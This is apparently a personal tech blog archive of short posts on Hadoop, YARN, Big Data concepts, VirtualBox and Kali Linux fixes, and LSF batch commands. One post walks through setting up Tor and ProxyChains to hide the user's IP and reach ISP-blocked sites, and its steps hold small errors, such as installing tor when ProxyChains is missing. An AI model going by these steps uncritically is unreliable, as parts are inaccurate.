  • Give the below command 
$ ovftool subject.vmx OVF/convertedsubject.ovf
  • Once you give this command you would see an output screen showing the progress of the conversion
  • Once you have the converted file, you just need to import the appliance

Hope this helps you. Thanks for the read.

Sunday, August 30, 2015

The Concept of Apache Hadoop Mapreduce 2 or YARN ( Yet Another Resource Negotiator )


Introduction


Comparing to the previous versions of Hadoop, where we had the NameNode and JobTracker daemons on the Master node, MapReduce 2 or YARN was introduced to split the functionalities of JobTracker to specific daemons for resource management and job scheduling.

Comparison



If we see the diagram above, in previous versions of Hadoop, we had the cluster resource management layer tightly coupled and a part of the Mapreduce layer. In Hadoop 2.0, the we see a new layer Yet Another Resource Negotiator (YARN) has been introduced between Mapreduce and HDFS i.e. responsible for cluster resource management. 

To know the reason why this change was needed, let us first recap how it worked in Hadoop 1.0 understanding the downsides as well.


If you follow the figure above, in Hadoop 1.0 , the JobTracker is a part of the MapReduce framework which manages the MapReduce Jobs / Applications along with doing the cluster resource management. Every MapRed job is divided into a number of Map and Reduce tasks, which run on datanodes (slaves) having an assigned or limited number of tasks slots. Having said that JobTracker manages the jobs along with the cluster resource management, JobTracker keeps an account for all these tasks, the predefined task slots on machines, status of the running tasks, resource reporting and management of the cluster, re-firing task jobs incase any of the tasks failed, and finally to clean up temporary resources and release task slots once the task is complete. Additionally, the tightly integrated JobTracker is also one of the reasons why non-MapReduce applications cannot be run on the Hadoop nodes, some e.g. realtime jobs, running ad-hoc queries. Also, there can be only one JobTracker in a cluster, hence we can figure out the load this daemon alone deals with.

To summarise it, MapReduce 2.0 - YARN overcomes the below issues from MapReduce 1 :
  1. Scalability – Since the primary focus of YARN is scheduling, it can manage these huge clusters more efficiently. The ability to process data rapidly increases
  2. Compatibility with existing MapReduce based application–  YARN can easily configure and run the existing MapReduce application without any hindrance or modification in existing processes.
  3. Better Cluster Utilisation – YARN Resource Manager optimizes the cluster utilization as per the given criteria, such as capacity guarantees, fairness, and other Service Level Agreements. 
  4. Support for additional workloads apart from MapReduce – Upcoming programming models such as graph processing and iterative modelings are now a part of data processing. These new models are easily integrated with YARN, which helps the senior management in any organization to realize their real time data and other market trends.
  5. Agility – YARN facilitates the operation of the resource management layer in a more Agile manner.

Components of Mapreduce 2.0 - YARN


As mentioned in the beginning of this blog, YARN has split the JobTrackers responsibility into 2, i.e. Resource Management and Job Scheduling. Yarn achieves that using the below components
  1. Global Resource Manager (RM): This is the root of YARN, and it governs the entire cluster. It has an inbuilt scheduler, uses capacity scheduling by default. This provides resources to all applications running in the cluster. RM interacts with the Node Managers (Point 3 below) and Application Masters (Point 2 below)
  2. Application Master per Application (AM) : The Node Manager initiates the Application master container as instructed by the RM. Application master negotiates appropriate resource containers from RM, track the status and monitor the progress as well. AM is the container that controls the entire application / task.
  3. Node Manager per Node slave (NM) : The NM launches the containers, monitors the CPU, RAM, disk, network etc on the nodes and report it back to the RM to make a judgement call to cater new requests coming in. 
  4. Container per application running on Node manager : In contrast to the previous versions of Hadoop where we allocated slots to task, in MapReduce 2.0 respective NMs allocates resources per node available for an application in form of containers.
I hope this blog may help you clear the concept, will add / update more as it comes.

Cheers.


Saturday, August 22, 2015

Hadoop Basic Commands

  • List all hadoop filesystem shell commands :

$> hadoop fs

  • Help for the hadoop filesystem command :

$> hadoop fs -help

  • Print the version of Hadoop :

$> hadoop version

  • Print the content of the root directory (HDFS) :

$> hadoop fs -ls /

  • Print the amount of space used :

$> hadoop fs -df hdfs:/

  • Count the number of directory, files and bytes :

$> hadoop fs -count hdfs:/

  • Create a new directory "Subdirectory" under root :

$> hadoop fs -mkdir Root/Directory/Subdirectory

  • Upload a file A.TXT from local pathtofile to hdfs "Subdirectory" :

$> hadoop fs -put pathtofile/A.TXT /Root/Directory/Subdirectory

  • Print / show the contents of the "Subdirectory" :

$> hadoop fs -ls Root/Directory/Subdirectory

  • Delete / Remove the file A.TXT from the hdfs :

$> hadoop fs -rm Root/Directory/Subdirectory/A.TXT

  • Delete / clear / purge all files in the trash bin :

$> hadoop fs -expunge

  • Command to copy a file from local to Hadoop (Alternative to put command) :

$> hadoop fs -copyFromLocal pathtofile/A.TXT /Root/Directory/Subdirectory

  • Command to view the contents of a file on HDFS :

$> hadoop fs -cat pathtofile/A.TXT

  • Command to copy a file from Hadoop FS to Local (Alternative to get command) :

$> hadoop fs -copyToLocal /Root/Directory/Subdirectory /pathtolocal/A.TXT 

  • Copying files between 2 HDFS directories :

$> hadoop fs -cp /path/to/hadoop1/*.txt /path/to/hadoop2/

  • Download file A.TXT from HDFS to local path :

$> hadoop fs -get hadoop/A.txt /path/to/local

  • Unix Tail command on hadoop fs (HDFS)n:

$> hadoop fs -tail path/to/hadoop/A.TXT

I also keep some articles in "www.itsmadeinindia.net"

Hope this helps.

Sunday, May 31, 2015

Hadoop Installation Modes

In my previous blogpost we read about BigData, we also discussed about some vendors who provide distributions of hadoop for implementations of BigData Analysis and Computation.The one which is ideal for us to evaluate Hadoop is Apache Hadoop.

Apache Hadoop is a framework for running applications on large cluster built of commodity hardware. The Hadoop framework transparently provides applications both reliability and data motion. Hadoop implements a computational paradigm named Map/Reduce, where the application is divided into many small fragments of work, each of which may be executed or re-executed on any node in the cluster. In addition, it provides a distributed file system (HDFS) that stores data on the compute nodes, providing very high aggregate bandwidth across the cluster. Both MapReduce and the Hadoop Distributed File System are designed so that node failures are automatically handled by the framework.

Before we install hadoop for evaluation we also need to be understand that we can install Hadoop in 3 different modes depending on the requirement.
  1. Stand Alone Mode (Single Node Cluster): All deamons (HBase, ZooKeeper etc) runs inside a single JVM process. It uses local storage instead of a DFS (Distributed File System). This mode is generally used for testing and debugging purposes.
  2. Pseudo Distributed Mode (Single Node Cluster): Each Hadoop Deamon runs on a separate JVM process, hence there will be multiple JVM processes running on the same machine or node. This is used to mimic fully distributed hadoop setup. Good for testing and prototyping, however this should not be used in production as this will lead to performance issues.
  3. Fully Distributed mode (Multi Node Cluster): In this mode, all the deamons are scattered across several commodity machines, DFS is leveraged. Centralised data structure allows multiple machines to contribute processing powers and storage to the cluster.
We will see the installation and configuration steps in my next post.. 

Wednesday, May 20, 2015

What is Big Data ?

This has been a buzzword ( with cloud computing ), in the IT ecosystem.

If you google "Big Data" , you end up with several definitions. But interestingly you will find that most of the definitions are derived from a Gartner whitepaper which was published in 2001 defining the 3D Data Model written by "Doug Laney". As per the paper, traditional data management techniques were not enough to meet the needs and called for a change in the approach. The reason for which is the changing nature of Data Volume, Data Velocity, Data Variety.

Now putting that in terms of defining what big data is, simply it is the data that is too large and complex to be handled by the standard / primitive database technologies used by organisations. There are certain attributes which are assessed and to define the data to be "big". The attributes are below :

  1. Volume : As per definition, it is the huge volumes of data which are generated in today's world, Some examples are the social networking sites like Facebook, Twitter and websites like YouTube where on a daily basis millions of users around the globe are active. "From 2005 to 2020, the measure of all data created, replicated and consumed in a single year will grow by a factor of 300, from 130 exabytes to 40,000 exabytes, or 40 trillion gigabytes (more than 5,200 gigabytes for every man, woman, and child in 2020). From now until 2020, the digital universe will about double every two years " - From The Digital Universe in 2020 whitepaper by EMC. Big Data deals in the volumes in tune of Terabytes,Petabytes, Exabytes,Zettabytes
  2. Velocity : Velocity of the data is the speed in which it is being created, stored and analysed. We read about the examples of sites which are creating high volumes of data. With an increased usage of these platforms and creation of similar platforms in future, I think it will be a fair call to say that the velocity in which the data is being created is unimaginable and cannot be measured. If we go through the official statistics of YouTube alone, 300 hours of video are uploaded to YouTube every minute. And the official statistics of Facebook says that there are 936 million daily active users on average for March 2015.  Bigdata also deals in performing analytics on the huge data being generated at this pace often at realtime and which requires immediate response.
  3. Variety : Earlier, the data to be managed was more structured but with the change in the requirements, we needed a system which can fit data of all kinds i.e. Structured, unstructured, different formats. Big Data deals with that requirement.
We discussed the 3 key V's , which defines "Big Data". But with further implementations and usage of Big Data, there were additional V's which were added by different organisations which are worth to consider if the result of your Big Data processes is critical to you and your business. However, I feel these additional V's does not define Big Data, it is more of what you desire to have when you plan a Big Data implementation.

The 4 additional V's are as below:
  1. Veracity : We discussed about "Big Data" above, which means a variety of data in large volumes which is complex and generated and accessed in realtime. This additional V talks about the Truthfulness and accuracy of the data. We could assess the integrity of the data on the structured and primitive databases by applying normalisation techniques. With Big data we use different tools and algorithms which can assess the data to be meaningful and true for the business, which is also important for the business to reduce cost on storing and processing of data which is not of use.
  2. Validity : This is quite close to what I just mentioned above, Veracity. However, this is more related of the quality and accuracy of the data with regard to the intended usage. Data may not have veracity issues, but it might not be valid if it is not properly understood. On the contrary the same set of data might be valid for one application, but not for another, hence it is important to verify a relationship to some extent between the elements of data we are dealing with. It is more related to drawing logical inferences from the matching data
  3. Value : This refers to the value added by the variety of data in large volumes which is complex and generated and accessed in realtime. Data value must exceed its cost, ownership and management. Data alone is not valuable, the value is actually in how we transition the data to meaningful information and knowledge which will assist the organisations which rely heavily on data analysis for decision making. Big data adds value by providing complex, advanced, predictive business analysis and insights.
  4. Visibility : Some definitions replace this V with Visualisation as well, which actually defines more or less the same aspect that the variety of data in large volumes which is complex and generated and accessed at realtime should be visible or can be visualised using tools etc, else the data from disparate resources which is available in Big Data and not visible is not of any use.
You can find an opensource distribution from Apache to implement and test Big Data in your environment. There are some other vendors as well for for big data distributions, naming a few are cloudera, MapR. Some key Data Management vendors include Datastax and IBM.

I hope the above gives you some idea what "Big Data" is all about, this being one of the biggest post of mine so I will coin this post as my "Big Post" ;-).

I plan to write more about the architecture and how to setup your own environment using the Apache Hadoop distribution in coming weeks, your feedback / ideas are appreciated.

So, is your data "Big" enough ?........ Thanks for reading the post. 

Saturday, January 31, 2015

Display Crashed : Kali Linux

I recently came across an issue with the Kali Linux, it was not booting into the GUI.

You might try the below steps to fix the issue, it worked for me.

My System :
  1. Host Machine : MacBook Air
  2. Host OS  : OS X Yosemite (10.10.1)
  3. Guest OS : Kali GNU/Linux
  4. VM Software : Virtual Box 4.3
Observations :
  • Tried using startx, didn't work for me
  • Tried gdm3, didn't work
Fix :
  • apt-get update
  • apt-get upgrade -y
  • apt-get install -f gdm3
  • now type gdm3, you should get your display back
Let me know your views and comments, if you have any other fixes.

Sunday, January 25, 2015

Anonymous Browsing : Using ProxyChains

This is one of the ways I use to view some links which are currently blocked by my ISP.

I do all the restricted browsing using Kali Linux. I hope you have heard of this version, you can find more info about this OS >> Here . It is an interesting playground and is bundled with extensive tools which can be used to "explore" the world around you... well be careful while exploring though ;-)

My System :
  • Host Machine : MacBook Air
  • Host OS  : OS X Yosemite (10.10.1)
  • Guest OS : Kali GNU/Linux
  • VM Software : Virtual Box 4.3
Configuring ProxyChains :

  1. ProxyChains work on TOR (Details about TOR : Here ) so you need to check if tor is currently installed and running on the system. There are several ways to do it , 1- 
    • Check if the tor file exists : ls -l /etc/init.d/tor
    • Run this command and see if you you see any active listening ports : 
      • netstat -tanp |grep tor
  2. If ProxyChains is not available, you will have to install the package using the below command:
      • apt-get install tor
  3. Once it is installed, you will have to start the service using the command below :
      • /etc/init.d/tor start
  4. Now you have to check if this has been started properly, and to confirm the port on which it has started. For that you have to re-use the command "netstat -tanp |grep tor", normally this service starts on port 9050
  5. Now once you have TOR all set, some configurations you might want to consider for using proxychains :
    1. open the proxychains.conf : vi /etc/proxychains.conf
    2. Unhash dynamic_chain and random_chain parameters
    3. add new socks4/socks5 proxies, you can get a list from : Here
    4. Make sure you do not remove the loopback address from the proxy list, and the TOR port should be same as the port here
    5. Save and close the file
  6. Now open Firefox, change the proxy settings to 127.0.0.1 and port 9050, save and close
  7. Testing : Open the site www.cmyip.com, you will now be hidden behind some other ip. If it still shows your public IP, there is a problem with your configuration.
  8. Testing : From command line , give the command as below -
    1. proxychains firefox www.cmyip.com , it will show you some other IP. (e.g as the snapshot below, I am not in Netherlands for sure :-D)

Another one, pointing to swiss.. 



I suppose the settings would be the same for other distributions of linux, happy to help if any concerns.


Saturday, January 24, 2015

No Network on XP installed as Guest on VirtualBox

In case you have been searching on the web how to fix your network issues on a recently installed Win XP on a Virtual Box this trick might help you.

My System :

  • Host Machine : MacBook Air
  • Host OS  : OS X Yosemite (10.10.1)
  • VM Software : Virtual Box 4.3
Observations :

  • Under network connections in XP you will not find any local area network or wireless network icon
  • If you go to the device manager on your XP, you will observe there is nothing under network adapters  and you will an unknown network device, which if you uninstall and scan the system again, will end up as unknown again.
  • Generally when you install XP, by default it will pick either a Bridged or a NAT'ed network. Both are fine you don't have to mess with that.
Fix :

  1. Install the VirtualBox guest additions (I expect you know about it, if you are using VB)
  2. Configure the shared folders (In windows XP, accessed the network and browsed for the folder in the network)
  3. Download the driver for Windows XP , Final Release - File name: PRO2K3XP_32.exe - You can download from Here 
  4. Put the downloaded file in the shared folder you created in step 2
  5. Install the file / driver from the Windows XP VM.
  6. And there you are, you will start seeing something happening in the task bar below, the network icon will pop and go, try browsing and you are all set.

Saturday, January 3, 2015

IBM Platform LSF Batch Commands

Below is the list of commonly used LSF batch commands and a brief description :

  1. bparams : Displays the parameters settings [Output of lsb.params file]
  2. bugroup : Display the list of user groups
  3. bmgroup : Display the list of host / machine group
  4. bhosts : Display the summary of host state [ add -l for detailed]
  5. bqueues : Display the summary of queue states in the lsf cluster. use -l for detailed
  6. busers all : Display the per user breakdown of jobs currently in the lsf batch system
  7. bjobs -u < all / user >  -a :  Displays information of the jobs which are current, recently completed 
  8. bjobs -l < job id > : Display the information in detail of a particular job id
  9. bhist : Display the time history of the job
  10. bstop : Pauses the job 
  11. bresume : Resume the job
  12. bkill : Kills the job
  13. btop : Move job in top of the queue of the user
  14. bbot : Move the job in bottom of the queue of the user
  15. bswitch : Switch the jobs from one queue to another
  16. bmodify : Modifies the submission parameters of the jobs which are pending
  17. bacct : Display accounting information of the tasks executed using LSF batch

The Azure Synapse Resource Provider Error

  If you are get the error " The Azure Synapse resource provider (Microsoft.Synapse) needs to be registered with the selected subscript...